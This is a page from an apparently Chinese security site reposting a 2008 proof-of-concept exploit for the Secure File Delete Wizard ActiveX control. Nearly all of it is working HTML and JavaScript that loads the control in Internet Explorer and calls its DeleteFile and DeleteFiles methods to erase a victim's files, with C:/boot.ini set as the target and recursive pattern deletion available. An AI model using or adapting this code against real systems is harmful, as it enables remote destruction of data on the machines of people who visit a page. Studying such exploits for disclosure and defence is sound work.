首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Secure File Delete Wizard <= 2.0.0 ActiveX Insecure Methods Exploit
来源:h4ck-y0u.org 作者:t0pP8uZz 发布时间:2008-05-09  
<HTML>
<!--

- Secure File Delete Wizard <= 2.0.0 (SecureFileDeleteWizard.ocx)  Remote File Deletetion/Insecure Method Exploit -

Author: t0pP8uZz
Homepage: h4ck-y0u.org / milw0rm.com
Description: ActiveX Remote Insecure/File Deletion

Report: Tested on Microsoft Windows XP Pro (SP2 ) Internet Explorer 7 Fully Patched

ActiveX: http://www.componentsource.com/products/seekford-secure-file-delete-wizard/downloads.html?rv=28108

The Following Material Is For Educational Purposes Only - I will not be held responsable for any illegal actions.

InternetExplorer can Initialise this ActiveX control, And take advantage of its functions.
Included in this exploit (POC) is a peice of javascript code lauching the ActiveX control, and executing one of its functions.

object.AboutBox() - Shows the about dialog - POC
object.DeleteFile(string path, int pass) - Deletes arg1, int passes
object.DeleteFiles(string path, string pattern, boolean deletesub, int passes) - Search's arg1 for arg2 pattern, and deletes all folders/files

-->
<OBJECT ID="filedel" CLASSID="CLSID:13B1B660-6516-4C8A-93C3-50E7EF524CFA">Could Not Load ActiveX Control.</OBJECT>
<script language="javascript">
/* - Secure File Delete Wizard <= 2.0.0 (SecureFileDeleteWizard.ocx)  Remote File Deletetion/Insecure Method Exploit - */
/*                       Javascript Code By t0pP8uZz                        */

var file    = "C:/boot.ini"; // local path to file for deletion
var pattern = "file*.txt"; // optional - if using DeleteFiles() then a pattern needs to be here, ie: file.*, * is a wildcard
var delsubs = true; // optional - if using DeleteFiles() then if set to true subdirectorys and files will be delete, if set to false the files will remain in tact

Exploit("AboutPOC"); // args: DeleteFile, DeleteFiles, AboutPOC

function Exploit(type) {

switch(type) {

case "DeleteFile":
filedel.DeleteFile(file, 3);
break

case "DeleteFiles":
filedel.DeleteFiles(file, pattern, delsubs, 3);
break

case "AboutPOC":
default:
filedel.AboutBox();
break;
}
alert("Exploit Successfull!")
};

</script>
</HTML>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Registry Pro (epRegPro.ocx) Re
·EvansFTP (EvansFTP.ocx) Remote
·aaxRegistry (aaxRegistry.ocx)
·txtCMS 0.3 (index.php) Local F
·Univeral HTTP Image/File Uploa
·Joomla Component com_datsogall
·rdesktop 1.5.0 process_redirec
·Joomla Component xsstream-dm 0
·QuickUpCMS Multiple Remote SQL
·vShare Youtube Clone 2.6 (tid)
·Vortex CMS (index.php pageid)
·TFTP Server for Windows 1.4 ST
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved